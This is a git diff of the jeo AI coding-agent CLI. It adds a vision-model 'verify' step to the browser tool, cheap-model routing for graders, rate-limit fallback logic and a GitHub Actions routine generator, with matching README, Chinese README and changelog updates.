- **Browser tool** — headless Chromium automation (Playwright) as a first-class agent tool: `open`/`close`/`run`/`act` on named, reused tabs, with `observe`-tagged element ids preferred over screenshots for driving pages. Requires `npx playwright install chromium` once (not bundled — jeo stays zero native deps itself, the browser binary is Playwright's separate download).
|
|
53
|
+
- **Browser tool** — headless Chromium automation (Playwright) as a first-class agent tool: `open`/`close`/`run`/`act` on named, reused tabs, with `observe`-tagged element ids preferred over screenshots for driving pages. `act {verb:"verify", goal, ...}` closes the visual-QA loop: screenshots the page and asks an independent vision-capable model to judge it against a plain-language goal (`{verdict:"PASS"|"MISMATCH", detail}`) instead of requiring a human (or the same agent) to eyeball a saved PNG. Requires `npx playwright install chromium` once (not bundled — jeo stays zero native deps itself, the browser binary is Playwright's separate download).
|
|
54
|
+
- **Skills that compound** — a stalled turn now writes the dead end into the SAME skill's project-level file (`.jeo/skills/<name>.md`, seeded from the bundled skill on first write, deterministic keyword match, no LLM), so the next session's `$<skill>` invocation carries accumulated "Known Failure Modes"/"Anti-Patterns" knowledge instead of the bundled doc staying static forever. `jeo skills lesson <skill> <failure|anti-pattern> "<title>" "<detail>"` for manual entries; `jeo skills eval <skill>` runs a real LLM judgment on whether each recorded lesson is still covered by the skill's current guidance or has gone stale.
|
|
55
|
+
- **Cheap-tier grader routing** — the `/goal` verifier, the `critic` subagent role, and unpinned `task` fan-out batches default to a cheap credentialed model instead of silently riding the same full-price model as the work they're grading/executing (`resolveVerifierModel`, vision-capability-filtered for the browser `verify` action so a text-only cheap model never silently drops an attached screenshot).
|
|
56
|
+
- **`jeo routine init`** — generates a GitHub Actions workflow that runs jeo headlessly (`jeo "<prompt>" -p`) on a schedule/issue/PR trigger, on GitHub's own runners — no laptop required, and zero new attack surface inside jeo itself (no in-process scheduler or webhook listener). `--dry-run` to preview, `--no-pr` for a direct commit instead of the default PR-per-run.
|
|
54
57
|
- **Remote subagent visibility (Telegram)** — pair a bot once (`jeo notify setup`), then `jeo daemon start` pushes a message on every subagent state edge (started → done/failed/cancelled) and accepts `/subagents`, `/steer <id> <subagentId> <msg>`, `/cancel <id> <subagentId>` back. Telegram Daemon now supports full `gjc` parity, including forum topics, inline keyboards, and image attachments — commands are authorized to the paired chat only.
|
|
55
58
|
|
|
56
59
|
|
|
@@ -202,6 +205,15 @@ Opt-in and lazy: nothing binds until `notifications.enabled` is set AND a detach
|
|
|
202
205
|
| `/cancel <sessionId> <subagentId>` | Cancel a running subagent |
|
|
203
206
|
| `/help` | Show the command reference |
|
|
204
207
|
|
|
208
|
+
## Routines (GitHub Actions)
|
|
209
|
+
|
|
210
|
+
```bash
|
|
211
|
+
jeo routine init --trigger schedule --cron "0 7 * * *" --prompt "Re-run the eval suite and post a digest" --dry-run
|
|
212
|
+
jeo routine init --trigger issues --prompt "Triage this issue" --name "issue-triage"
|
|
213
|
+
```
|
|
214
|
+
|
|
215
|
+
Generates a GitHub Actions workflow (`.github/workflows/<name>.yml`) that installs jeo and runs it headlessly (`jeo "<prompt>" -p`) on `schedule` / `issues` / `pull_request` — always paired with `workflow_dispatch` for a manual test run — on GitHub's own hosted runners. This is jeo's "runs without your laptop" story: no in-process scheduler, no webhook listener, no code-exec sandbox inside jeo itself — GitHub's infrastructure does the triggering, jeo just runs its existing headless mode. Defaults to opening a PR with any changes (`peter-evans/create-pull-request`, a safe no-op when the diff is empty); `--no-pr` commits directly to the triggering branch instead. `--dry-run` prints the YAML without writing it; re-running `jeo routine init` at the same `--out` path refuses to overwrite without `--force`. Set the `ANTHROPIC_API_KEY` (or `--api-key-env <VAR>`) repo secret before the workflow's first real run.
|
|
216
|
+
|
|
205
217
|
## Local models
|
|
206
218
|
|
|
207
219
|
```bash
|
|
@@ -273,11 +285,11 @@ Huge thanks to [gajae-code](https://github.com/Yeachan-Heo/gajae-code) for the i
|
|
|
273
285
|
## Changelog
|
|
274
286
|
|
|
275
287
|
<!-- CHANGELOG:START (auto-generated from CHANGELOG.md — run `bun run changelog:sync`) -->
|
|
288
|
+
- **[0.8.23]** (2026-07-12) — Gap analysis against an external "self-improving agent system" framework (Fable-5-style loops: independent verifiers, memory compounding, model-tier cost discipline, and scheduled routines) found jeo-code already had strong equivalents for most primitives — but 3 real gaps and 1 deliberately-scoped-safe gap. Closed all 4: skills that were "hand-authored, read-mostly, zero learning" now compound from real session failures; screenshots that were captured but never judged now close a real vision-verify loop; the `/goal` verifier and bulk fan-out dispatch that silently rode the same full-price model as the work they graded/executed now default to a cheap tier; and "runs without your laptop" is now achievable via a generated GitHub Actions template wrapping jeo's existing headless mode — with zero new attack surface inside jeo-code itself (no code-exec sandbox, no in-process scheduler/webhook receiver, both deliberately rejected as out of scope). Also absorbs 3 fixes shipped after 0.8.22 but never changelogged: a rate-limit fast-fallback audit that closed 4 real gaps, plus the cross-file `mock.module()` test-isolation class this release's own test additions collided with and fixed at its root cause.
|
|
276
289
|
- **[0.8.22]** (2026-07-11) — A rescan of the working tree turned up a resume-fidelity gap plus two unwired TUI safety-net helpers left by a concurrent session; each was traced, wired where needed, and verified before shipping.
|
|
277
290
|
- **[0.8.21]** (2026-07-10) — "반영할꺼 같은방식으로 체크하고 배포까지" — a rescan of the working tree (after the prior audit pass) turned up 15 uncommitted files: 3 genuinely distinct features left unwired by a concurrent session, partially casualty of an earlier accidental `git checkout` incident this session (disclosed in the 0.8.20 entry above). Each was independently traced from its existing plumbing, wired to a real call site, tested, and one live-verified end-to-end over a real PTY before shipping.
|
|
278
291
|
- **[0.8.20]** (2026-07-10) — "모든 검증 다시 리뷰하고 변경사항 모두 체크해" — 4 fresh, skeptical subagents independently re-audited every change from v0.8.17-0.8.19 (bc8768f..92c6b7d) with zero trust in prior claims: a code-correctness auditor manually traced the Antigravity routing logic against the live catalog, a test-integrity auditor mutation-tested the new tests (confirmed each one genuinely fails when its fix is reverted) and ran the suite fresh, a live-behavior verifier re-reproduced all 4 behavioral claims from scratch with self-generated data (own session ids, own mock server, own HTTP status code), and a docs-accuracy auditor cross-checked every README/CHANGELOG claim against current code in isolated git worktrees. Verdict: all core logic and tests GENUINE/CONFIRMED CORRECT — but the audit surfaced 1 real doc staleness gap, 1 changelog count error, and 2 minor precision gaps, all fixed here.
|
|
279
292
|
- **[0.8.19]** (2026-07-09) — "프롬프트 라우팅에 안티그라비티 프로바이더의 경우, 안티그라비티용 소넷과 오퍼스도 3.5급으로 라우팅될수있도록해줘" — Antigravity re-exports 3 distinct model families (Anthropic Claude, Google Gemini, OpenAI GPT-OSS) behind one credential, structurally unlike every other provider. `high`/`complex` tier auto-select always resolved to Google's Gemini 3.5 rows: Anthropic's real 64,000-token output ceiling lost a same-thinking-tier tie to Google's 65,536 by a margin with no practical significance, and Gemini's 1M-token context further outranked Claude's real 200K window — so `antigravity/claude-sonnet-4-6`/`antigravity/claude-opus-4-6-thinking` were NEVER reachable through auto-select, even though both were already correctly `sizeClass`-tagged into the `high`/`complex` pools.
|
|
280
|
-
- **[0.8.18]** (2026-07-09) — "라우팅 매 프롬프트마다 변경되는지, route why 의도대로 동작하는지 검증하고 배포할게있는지 확인해줘" — 2 parallel subagents live-verified per-prompt routing + `/route why` (including the previously-only-unit-tested post-call equivalent-model fallback path, now reproduced against a real mock 500-error server) and audited a disconnected `RouteHistory` class shipped as incomplete scaffolding in 0.8.16/0.8.17 (class + 11 tests existed, but nothing ever called it — no `/route history` subcommand, no wiring into the turn loop). Live testing also surfaced one real bug: the TUI footer's model/provider label never updated after a mid-turn fallback, staying on the pre-fallback model for the rest of that turn's render even though the backend decision (`lastRouteDecision`) was already correct.
|
|
281
293
|
|
|
282
294
|
See [CHANGELOG.md](CHANGELOG.md) for the full history.
|
|
283
295
|
<!-- CHANGELOG:END -->
|
package/README.zh.md
CHANGED
|
@@ -45,7 +45,10 @@
|
|
|
45
45
|
- **崩溃耐久、本地优先** — 全部状态位于 `.jeo/`,原子写入、跨进程运行锁、失败任务标记 + 恢复时的部分编辑警告。
|
|
46
46
|
- **动态步数预算** — 只要近期工具调用展现新的进展就持续延长,停滞时优雅收敛为总结;子代理保持精确的步数契约。
|
|
47
47
|
- **内联 TUI** — 已完成的工作流入真实滚动缓冲区(回合中也可用 tmux 滚轮),代理运行时普通查询输入框仍保持可见并可编辑。Ctrl+O 详细信息切换、主题、剪贴板图片粘贴(Ctrl+V)、CJK/表情安全的宽度计算。
|
|
48
|
-
- **浏览器工具** — 基于 Playwright 的无头 Chromium 自动化,作为一等代理工具:对命名并复用的标签页执行 `open`/`close`/`run`/`act`,优先使用 `observe` 标记的元素 id
|
|
48
|
+
- **浏览器工具** — 基于 Playwright 的无头 Chromium 自动化,作为一等代理工具:对命名并复用的标签页执行 `open`/`close`/`run`/`act`,优先使用 `observe` 标记的元素 id 而非截图来驱动页面。`act {verb:"verify", goal, ...}` 闭合了可视化 QA 循环:对页面截图,并让一个独立的、具备视觉能力的模型依据一句大白话目标来判断(`{verdict:"PASS"|"MISMATCH", detail}`),不再需要人工(或同一个代理)去肉眼核对保存下来的 PNG。需要执行一次 `npx playwright install chromium`(未捆绑 — jeo 本身仍是零原生依赖,浏览器二进制文件是 Playwright 的独立下载项)。
|
|
49
|
+
- **持续积累的技能** — 卡壳的一轮现在会把死胡同写入同一个技能的项目级文件(`.jeo/skills/<name>.md`,首次写入时从内置技能播种,采用确定性关键词匹配,不使用 LLM),因此下一个会话的 `$<skill>` 调用会带上累积的"Known Failure Modes"/"Anti-Patterns"知识,而不是让内置文档永远保持静态。手动记录用 `jeo skills lesson <skill> <failure|anti-pattern> "<title>" "<detail>"`;`jeo skills eval <skill>` 会运行一次真正的 LLM 判断,检查每条已记录的经验是否仍被技能当前的指引覆盖,还是已经过时。
|
|
50
|
+
- **低价位评分模型路由** — `/goal` 验证器、`critic` 子代理角色,以及未锁定的 `task` 扇出批次,现在默认使用低价位、已配置凭证的模型,而不是悄悄搭乘与它们所评分/执行的工作相同的全价模型(`resolveVerifierModel`,针对浏览器 `verify` 动作按视觉能力过滤,确保纯文本的低价模型不会悄悄丢弃附带的截图)。
|
|
51
|
+
- **`jeo routine init`** — 生成一个 GitHub Actions 工作流,在 schedule/issue/PR 触发器上以无头模式运行 jeo(`jeo "<prompt>" -p`),运行在 GitHub 自己的 runner 上 — 不需要笔记本电脑,并且不会给 jeo 自身增加任何新的攻击面(没有进程内调度器或 webhook 监听器)。`--dry-run` 可预览,`--no-pr` 则改为直接提交而非默认的每次运行一个 PR。
|
|
49
52
|
- **远程子代理可见性(Telegram)** — 配对一次机器人(`jeo notify setup`)后,`jeo daemon start` 会在子代理每次状态变化(启动 → 完成/失败/取消)时推送消息,并接受 `/subagents`、`/steer <id> <subagentId> <msg>`、`/cancel <id> <subagentId>` 回传。现在提供 Telegram 论坛主题、内联键盘、图片附件等完整 `gjc` parity;命令仅对配对的聊天授权。
|
|
50
53
|
|
|
51
54
|
## 安装
|
|
@@ -195,6 +198,15 @@ jeo daemon stop # 发送 SIGTERM 停止
|
|
|
195
198
|
| `/cancel <sessionId> <subagentId>` | 取消正在运行的子代理 |
|
|
196
199
|
| `/help` | 显示命令参考 |
|
|
197
200
|
|
|
201
|
+
## 例行任务 (GitHub Actions)
|
|
202
|
+
|
|
203
|
+
```bash
|
|
204
|
+
jeo routine init --trigger schedule --cron "0 7 * * *" --prompt "Re-run the eval suite and post a digest" --dry-run
|
|
205
|
+
jeo routine init --trigger issues --prompt "Triage this issue" --name "issue-triage"
|
|
206
|
+
```
|
|
207
|
+
|
|
208
|
+
生成一个 GitHub Actions 工作流(`.github/workflows/<name>.yml`),安装 jeo 并在 `schedule` / `issues` / `pull_request` 上以无头模式运行它(`jeo "<prompt>" -p`)— 始终与 `workflow_dispatch` 搭配,便于手动测试运行 — 运行在 GitHub 自己的托管 runner 上。这就是 jeo "无需笔记本电脑运行"的故事:jeo 自身内部没有进程内调度器、没有 webhook 监听器、没有代码执行沙箱 — 由 GitHub 的基础设施负责触发,jeo 只是运行它现有的无头模式。默认在有任何变更时开一个 PR(`peter-evans/create-pull-request`,diff 为空时是安全的空操作);`--no-pr` 则改为直接提交到触发分支。`--dry-run` 只打印 YAML 而不写入;在相同的 `--out` 路径上重新运行 `jeo routine init`,若不加 `--force` 会拒绝覆盖。请在工作流首次真正运行前,设置好仓库密钥 `ANTHROPIC_API_KEY`(或 `--api-key-env <VAR>`)。
|
|
209
|
+
|
|
198
210
|
## 本地模型
|
|
199
211
|
|
|
200
212
|
```bash
|
|
@@ -265,11 +277,11 @@ CI 通过 `.github/workflows/npm-publish.yml` 发布 — GitHub 发布 release
|
|
|
265
277
|
## 更新日志 (Changelog)
|
|
266
278
|
|
|
267
279
|
<!-- CHANGELOG:START (auto-generated from CHANGELOG.md — run `bun run changelog:sync`) -->
|
|
280
|
+
- **[0.8.23]** (2026-07-12) — Gap analysis against an external "self-improving agent system" framework (Fable-5-style loops: independent verifiers, memory compounding, model-tier cost discipline, and scheduled routines) found jeo-code already had strong equivalents for most primitives — but 3 real gaps and 1 deliberately-scoped-safe gap. Closed all 4: skills that were "hand-authored, read-mostly, zero learning" now compound from real session failures; screenshots that were captured but never judged now close a real vision-verify loop; the `/goal` verifier and bulk fan-out dispatch that silently rode the same full-price model as the work they graded/executed now default to a cheap tier; and "runs without your laptop" is now achievable via a generated GitHub Actions template wrapping jeo's existing headless mode — with zero new attack surface inside jeo-code itself (no code-exec sandbox, no in-process scheduler/webhook receiver, both deliberately rejected as out of scope). Also absorbs 3 fixes shipped after 0.8.22 but never changelogged: a rate-limit fast-fallback audit that closed 4 real gaps, plus the cross-file `mock.module()` test-isolation class this release's own test additions collided with and fixed at its root cause.
|
|
268
281
|
- **[0.8.22]** (2026-07-11) — A rescan of the working tree turned up a resume-fidelity gap plus two unwired TUI safety-net helpers left by a concurrent session; each was traced, wired where needed, and verified before shipping.
|
|
269
282
|
- **[0.8.21]** (2026-07-10) — "반영할꺼 같은방식으로 체크하고 배포까지" — a rescan of the working tree (after the prior audit pass) turned up 15 uncommitted files: 3 genuinely distinct features left unwired by a concurrent session, partially casualty of an earlier accidental `git checkout` incident this session (disclosed in the 0.8.20 entry above). Each was independently traced from its existing plumbing, wired to a real call site, tested, and one live-verified end-to-end over a real PTY before shipping.
|
|
270
283
|
- **[0.8.20]** (2026-07-10) — "모든 검증 다시 리뷰하고 변경사항 모두 체크해" — 4 fresh, skeptical subagents independently re-audited every change from v0.8.17-0.8.19 (bc8768f..92c6b7d) with zero trust in prior claims: a code-correctness auditor manually traced the Antigravity routing logic against the live catalog, a test-integrity auditor mutation-tested the new tests (confirmed each one genuinely fails when its fix is reverted) and ran the suite fresh, a live-behavior verifier re-reproduced all 4 behavioral claims from scratch with self-generated data (own session ids, own mock server, own HTTP status code), and a docs-accuracy auditor cross-checked every README/CHANGELOG claim against current code in isolated git worktrees. Verdict: all core logic and tests GENUINE/CONFIRMED CORRECT — but the audit surfaced 1 real doc staleness gap, 1 changelog count error, and 2 minor precision gaps, all fixed here.
|
|
271
284
|
- **[0.8.19]** (2026-07-09) — "프롬프트 라우팅에 안티그라비티 프로바이더의 경우, 안티그라비티용 소넷과 오퍼스도 3.5급으로 라우팅될수있도록해줘" — Antigravity re-exports 3 distinct model families (Anthropic Claude, Google Gemini, OpenAI GPT-OSS) behind one credential, structurally unlike every other provider. `high`/`complex` tier auto-select always resolved to Google's Gemini 3.5 rows: Anthropic's real 64,000-token output ceiling lost a same-thinking-tier tie to Google's 65,536 by a margin with no practical significance, and Gemini's 1M-token context further outranked Claude's real 200K window — so `antigravity/claude-sonnet-4-6`/`antigravity/claude-opus-4-6-thinking` were NEVER reachable through auto-select, even though both were already correctly `sizeClass`-tagged into the `high`/`complex` pools.
|
|
272
|
-
- **[0.8.18]** (2026-07-09) — "라우팅 매 프롬프트마다 변경되는지, route why 의도대로 동작하는지 검증하고 배포할게있는지 확인해줘" — 2 parallel subagents live-verified per-prompt routing + `/route why` (including the previously-only-unit-tested post-call equivalent-model fallback path, now reproduced against a real mock 500-error server) and audited a disconnected `RouteHistory` class shipped as incomplete scaffolding in 0.8.16/0.8.17 (class + 11 tests existed, but nothing ever called it — no `/route history` subcommand, no wiring into the turn loop). Live testing also surfaced one real bug: the TUI footer's model/provider label never updated after a mid-turn fallback, staying on the pre-fallback model for the rest of that turn's render even though the backend decision (`lastRouteDecision`) was already correct.
|
|
273
285
|
|
|
274
286
|
See [CHANGELOG.md](CHANGELOG.md) for the full history.
|
|
275
287
|
<!-- CHANGELOG:END -->
|
package/package.json
CHANGED
package/src/agent/AGENTS.md
CHANGED
|
@@ -49,7 +49,7 @@ The core runtime loop, tool registry, session management, and state persistence
|
|
|
49
49
|
| `subagent-registry.ts` | Brief description of purpose |
|
|
50
50
|
| `subagent-tool.ts` | Brief description of purpose |
|
|
51
51
|
| `subagents.ts` | Brief description of purpose |
|
|
52
|
-
| `task-tool.ts` | `task` tool (single/fan-out/detached delegation) — exports `runSubagentOnce`, the single subagent execution core (history/runAgentLoop/contract validation/mutation audit/fenced report) shared with `jeo team`'s executor in `src/commands/team.ts` |
|
|
52
|
+
| `task-tool.ts` | `task` tool (single/fan-out/detached delegation) — exports `runSubagentOnce`, the single subagent execution core (history/runAgentLoop/contract validation/mutation audit/fenced report) shared with `jeo team`'s executor in `src/commands/team.ts` and the consensus critic gate in `src/commands/ralplan.ts`. A subagent's own 429 gets the SAME rate-limit fast-fallback treatment as the main turn (`launch.ts`): `rateLimitFallbackAvailable` (via `prompt-router.ts`'s `tierModelPool`/`credentialScopeFor`) lets the engine bail a retry ladder early when a same-tier, different-credential-scope model is available, and a small bounded reroute loop (`MAX_SUBAGENT_REROUTES`, exported) actually switches and retries — never a bail-only predicate, which would just fail faster with no fallback attempted. Concurrent fan-out workers share ONE batch-scoped `excludedCredentialScopes` Set so a scope one worker discovers exhausted is skipped by its siblings too |
|
|
53
53
|
| `todo-tool.ts` | Brief description of purpose |
|
|
54
54
|
| `tokenizer.ts` | Brief description of purpose |
|
|
55
55
|
| `tool-output.ts` | Brief description of purpose |
|
|
@@ -12,15 +12,22 @@ import type { ToolHandler } from "./engine";
|
|
|
12
12
|
import type { ToolResult } from "./tools";
|
|
13
13
|
import { browserSession, type BrowserSession } from "./browser-session";
|
|
14
14
|
import type { ObservedElement, ExtractFormat } from "./browser-tab";
|
|
15
|
+
import type { ImageAttachment } from "../ai/types";
|
|
16
|
+
import { visionVerify } from "./vision-verify";
|
|
17
|
+
import { resolveVerifierModel } from "./prompt-router";
|
|
18
|
+
import { readGlobalConfig } from "./state";
|
|
15
19
|
|
|
16
20
|
/** One-line protocol description appended to the launch system prompt. */
|
|
17
21
|
export const BROWSER_TOOL_PROTOCOL_LINE =
|
|
18
22
|
`browser {action:"open"|"close"|"run"|"act", name?, url?, viewport?, code?, actions?, all?} — headless ` +
|
|
19
23
|
`Chromium automation (Playwright). 'open' {name, url?} opens/reuses a named tab (name defaults to "main"). ` +
|
|
20
24
|
`'close' {name?, all?} closes one tab or every tab. 'act' {name, actions:[{verb, ...}]} runs structured steps ` +
|
|
21
|
-
`(navigate/click/type/fill/select/press/scroll/back/wait/observe/extract/screenshot) — address elements
|
|
22
|
-
`numeric 'id' from a prior 'observe' step (preferred) or a CSS 'selector'; prefer 'observe' over 'screenshot' ` +
|
|
23
|
-
`for understanding page state. '
|
|
25
|
+
`(navigate/click/type/fill/select/press/scroll/back/wait/observe/extract/screenshot/verify) — address elements ` +
|
|
26
|
+
`by numeric 'id' from a prior 'observe' step (preferred) or a CSS 'selector'; prefer 'observe' over 'screenshot' ` +
|
|
27
|
+
`for understanding page state. 'verify' {goal, selector?, fullPage?, design_tokens?, prior_screenshot?} takes a ` +
|
|
28
|
+
`screenshot and asks an INDEPENDENT vision-capable model to judge it against 'goal' (plain language) — returns ` +
|
|
29
|
+
`{verdict:"PASS"|"MISMATCH", detail}; use this to close the loop on visual/UI work instead of eyeballing a saved ` +
|
|
30
|
+
`screenshot yourself. 'run' {name, code} executes an async function BODY with page/browser/tab/` +
|
|
24
31
|
`display/assert/wait in scope for anything the structured verbs don't cover.`;
|
|
25
32
|
|
|
26
33
|
function err(message: string): ToolResult {
|
|
@@ -109,6 +116,28 @@ async function runActStep(session: BrowserSession, name: string, step: ActStep):
|
|
|
109
116
|
await fs.writeFile(savePath, buf);
|
|
110
117
|
return { verb, ok: true, saved: savePath, bytes: buf.length };
|
|
111
118
|
}
|
|
119
|
+
case "verify": {
|
|
120
|
+
const goal = String(step.goal ?? "").trim();
|
|
121
|
+
if (!goal) return { verb, ok: false, error: "verify requires a non-empty 'goal' describing what the page should show." };
|
|
122
|
+
const buf = await tab.screenshot({ selector: typeof step.selector === "string" ? step.selector : undefined, fullPage: !!step.fullPage });
|
|
123
|
+
const image: ImageAttachment = { mediaType: "image/png", data: buf.toString("base64") };
|
|
124
|
+
let priorImage: ImageAttachment | undefined;
|
|
125
|
+
if (typeof step.prior_screenshot === "string" && step.prior_screenshot) {
|
|
126
|
+
try {
|
|
127
|
+
priorImage = { mediaType: "image/png", data: (await fs.readFile(step.prior_screenshot)).toString("base64") };
|
|
128
|
+
} catch (e: any) {
|
|
129
|
+
return { verb, ok: false, error: `Could not read prior_screenshot '${step.prior_screenshot}': ${e.message ?? e}` };
|
|
130
|
+
}
|
|
131
|
+
}
|
|
132
|
+
const config = await readGlobalConfig();
|
|
133
|
+
const model = resolveVerifierModel(config, { requireImages: true });
|
|
134
|
+
const verdict = await visionVerify(image, goal, {
|
|
135
|
+
model,
|
|
136
|
+
designTokens: typeof step.design_tokens === "string" ? step.design_tokens : undefined,
|
|
137
|
+
priorImage,
|
|
138
|
+
});
|
|
139
|
+
return { verb, ok: verdict.verdict === "PASS", verdict: verdict.verdict, detail: verdict.detail, model };
|
|
140
|
+
}
|
|
112
141
|
default:
|
|
113
142
|
return { verb, ok: false, error: `Unknown act verb '${verb}'.` };
|
|
114
143
|
}
|
package/src/agent/engine.ts
CHANGED
|
@@ -42,7 +42,7 @@ async function invokeCallLlm(history: Message[], options: {
|
|
|
42
42
|
reasoningEffort?: import("../ai/types").CallOptions["reasoningEffort"];
|
|
43
43
|
signal?: AbortSignal;
|
|
44
44
|
onUsage?: (u: { inputTokens?: number; outputTokens?: number }) => void;
|
|
45
|
-
onRetry?: (attempt: number, err: unknown, delayMs: number) => void;
|
|
45
|
+
onRetry?: (attempt: number, err: unknown, delayMs: number) => void | false;
|
|
46
46
|
onToken?: (delta: string) => void;
|
|
47
47
|
onReasoning?: (delta: string) => void;
|
|
48
48
|
onReasoningStart?: () => void;
|
|
@@ -127,7 +127,7 @@ export const TOOL_PROTOCOL = [
|
|
|
127
127
|
"14. lsp {action, file, line?, symbol?} — TypeScript/JavaScript language-service queries (definition/references/hover/symbols/diagnostics); 'symbol' resolves the column on 'line' (append #N for the Nth occurrence)",
|
|
128
128
|
"15. lsp_rename {file, line, symbol?, new_name, apply?} — cross-file TypeScript/JavaScript rename (apply defaults true; apply:false previews only)",
|
|
129
129
|
"16. debug {action, ...} — Node.js debugging (launch/set_breakpoint/continue/step_over/step_in/step_out/pause/evaluate/stack_trace/scopes/variables/threads/output/terminate); one active session, 'launch' spawns 'node --inspect-brk' and pauses at start",
|
|
130
|
-
"17. browser {action:\"open\"|\"close\"|\"run\"|\"act\", name?, url?, actions?} — headless Chromium automation (Playwright); 'act' runs structured steps (navigate/click/type/fill/select/press/scroll/back/wait/observe/extract/screenshot) addressing elements by numeric id from 'observe' or a CSS selector; 'run' executes JS with page/browser/tab/display/assert/wait in scope",
|
|
130
|
+
"17. browser {action:\"open\"|\"close\"|\"run\"|\"act\", name?, url?, actions?} — headless Chromium automation (Playwright); 'act' runs structured steps (navigate/click/type/fill/select/press/scroll/back/wait/observe/extract/screenshot/verify) addressing elements by numeric id from 'observe' or a CSS selector; 'verify' {goal, selector?, fullPage?, design_tokens?, prior_screenshot?} screenshots and asks an INDEPENDENT vision model to judge it against 'goal' -> {verdict:\"PASS\"|\"MISMATCH\", detail} — prefer this over eyeballing a screenshot yourself for UI/visual work; 'run' executes JS with page/browser/tab/display/assert/wait in scope",
|
|
131
131
|
"18. bisect {good, bad?, run, invert?, maxSteps?, stepTimeoutMs?} — binary-search git history to find the commit that introduced a regression; 'good' is a known-good commit, 'bad' defaults to HEAD, 'run' is a test command (exit 0=good, non-zero=bad, 125=skip), 'invert' finds a FIX instead of a regression",
|
|
132
132
|
"19. done {reason?} — call when the task is fully implemented AND verified",
|
|
133
133
|
"",
|
|
@@ -313,6 +313,18 @@ export interface AgentLoopOptions {
|
|
|
313
313
|
* An agent loop replays nearly-identical history each step, so cache hits here cut
|
|
314
314
|
* both latency and billed input tokens. */
|
|
315
315
|
sessionKey?: string;
|
|
316
|
+
/** Sync predicate: true when the caller has an equivalent-pool fallback model
|
|
317
|
+
* ready to switch to RIGHT NOW (a different model in the same size tier that
|
|
318
|
+
* hasn't already been tried this turn). When set and a 429 rate-limit error
|
|
319
|
+
* fires, the engine bails the model-manager retry ladder on the VERY FIRST
|
|
320
|
+
* failed attempt instead of riding the full `rateLimitRetries` backoff budget
|
|
321
|
+
* (up to ~6 attempts / ~90s on the SAME rate-limited model) — the caller's own
|
|
322
|
+
* post-call equivalent-pool fallback (launch.ts's `routeFailureReason` loop)
|
|
323
|
+
* then switches models immediately. Absent, `false`, or a non-rate-limit error
|
|
324
|
+
* leaves the normal retry ladder unchanged (no fallback pool = no reason to
|
|
325
|
+
* cut the budget short; a single-provider session still rides out a transient
|
|
326
|
+
* per-minute window as before). */
|
|
327
|
+
rateLimitFallbackAvailable?: () => boolean;
|
|
316
328
|
}
|
|
317
329
|
|
|
318
330
|
export interface AgentLoopResult {
|
|
@@ -707,10 +719,18 @@ export async function runAgentLoop(history: Message[], opts: AgentLoopOptions):
|
|
|
707
719
|
onReasoningArtifact,
|
|
708
720
|
// Make provider auto-retry visible: previously a rate-limited call sat in a
|
|
709
721
|
// silent backoff wait, then surfaced "auto-retry was exhausted" with no trace
|
|
710
|
-
// of the retries that DID happen.
|
|
722
|
+
// of the retries that DID happen. A rate limit with a fallback model ready
|
|
723
|
+
// bails HERE (returns false) instead of sleeping through the backoff — the
|
|
724
|
+
// caller's equivalent-pool fallback then switches models immediately (see
|
|
725
|
+
// AgentLoopOptions.rateLimitFallbackAvailable's doc comment).
|
|
711
726
|
onRetry: (attempt, err, delayMs) => {
|
|
727
|
+
const rateLimited = isRateLimitError(err);
|
|
728
|
+
if (rateLimited && opts.rateLimitFallbackAvailable?.()) {
|
|
729
|
+
ev.onNotice?.("rate limited (HTTP 429) — a fallback model is available, switching instead of retrying");
|
|
730
|
+
return false;
|
|
731
|
+
}
|
|
712
732
|
const wait = Math.max(1, Math.round(delayMs / 1000));
|
|
713
|
-
const what =
|
|
733
|
+
const what = rateLimited ? "rate limited (HTTP 429)" : "transient provider error";
|
|
714
734
|
ev.onNotice?.(`${what} — auto-retry #${attempt} in ${wait}s`);
|
|
715
735
|
},
|
|
716
736
|
});
|
package/src/agent/loop.ts
CHANGED
|
@@ -18,8 +18,9 @@ export interface ChatOptions {
|
|
|
18
18
|
jsonMode?: boolean;
|
|
19
19
|
signal?: AbortSignal;
|
|
20
20
|
onUsage?: (usage: import("../ai/types").Usage) => void;
|
|
21
|
-
/** Notified before each provider auto-retry backoff wait (e.g. rate limits).
|
|
22
|
-
|
|
21
|
+
/** Notified before each provider auto-retry backoff wait (e.g. rate limits).
|
|
22
|
+
* Returning `false` aborts the retry immediately (see ai/types.ts's CallOptions). */
|
|
23
|
+
onRetry?: (attempt: number, err: unknown, delayMs: number) => void | false;
|
|
23
24
|
/** When set, the response is consumed via the provider STREAM and each text delta is
|
|
24
25
|
* delivered here (concatenation equals the returned string). Absent ⇒ a single
|
|
25
26
|
* non-streaming `call()` (unchanged behavior for non-interactive/test callers). */
|
|
@@ -48,7 +48,7 @@
|
|
|
48
48
|
* contract for users who never opted in.
|
|
49
49
|
*/
|
|
50
50
|
import { callLlm } from "./loop";
|
|
51
|
-
import { resolveRoleModel, modelServableWithConfig } from "../ai/model-manager";
|
|
51
|
+
import { resolveRoleModel, modelServableWithConfig, resolveProvider, oauthServesModel } from "../ai/model-manager";
|
|
52
52
|
import { catalogMetadata, MODEL_CATALOG, compareReleaseDate, liveProviderCatalogModels, isLiveProviderModel, type CatalogModel, type ThinkLevel } from "../ai/model-catalog";
|
|
53
53
|
import { priceForModel } from "../ai/pricing";
|
|
54
54
|
import { tryExtractJsonObject } from "./json";
|
|
@@ -222,6 +222,60 @@ function hasAntigravityOauth(config: RoutingConfig): boolean {
|
|
|
222
222
|
return !!(config.oauth?.antigravity || config.oauth?.gemini);
|
|
223
223
|
}
|
|
224
224
|
|
|
225
|
+
/** A model's classified credential-sharing SCOPE — models on the SAME scope share
|
|
226
|
+
* ONE account-wide rate-limit/billing window, so an account-level failure (429,
|
|
227
|
+
* usage/quota limit, credential rejection, billing block) on one model means every
|
|
228
|
+
* OTHER model in the same scope is doomed the same way THIS instant. `"oauth-subscription"`:
|
|
229
|
+
* an OAuth SUBSCRIPTION (Claude Pro/Max, ChatGPT/Codex, Kimi Code, Antigravity Cloud
|
|
230
|
+
* Code Assist) serves this model — `key` is `${provider}:oauth` (bare `"antigravity"`
|
|
231
|
+
* for that provider: all three re-exported companies route through the SAME Cloud
|
|
232
|
+
* Code Assist account/credential, confirmed no per-company quota separation exists).
|
|
233
|
+
* `"no-credential"`: the provider has ZERO usable credential of any kind — every
|
|
234
|
+
* model on it is equally dead. */
|
|
235
|
+
export type CredentialScope = { kind: "no-credential" | "oauth-subscription"; key: string };
|
|
236
|
+
|
|
237
|
+
/** Classify `model` into the credential it actually resolves through, mirroring
|
|
238
|
+
* `resolveCall`/`effectiveCredentialForProvider`'s real precedence (OAuth wins over
|
|
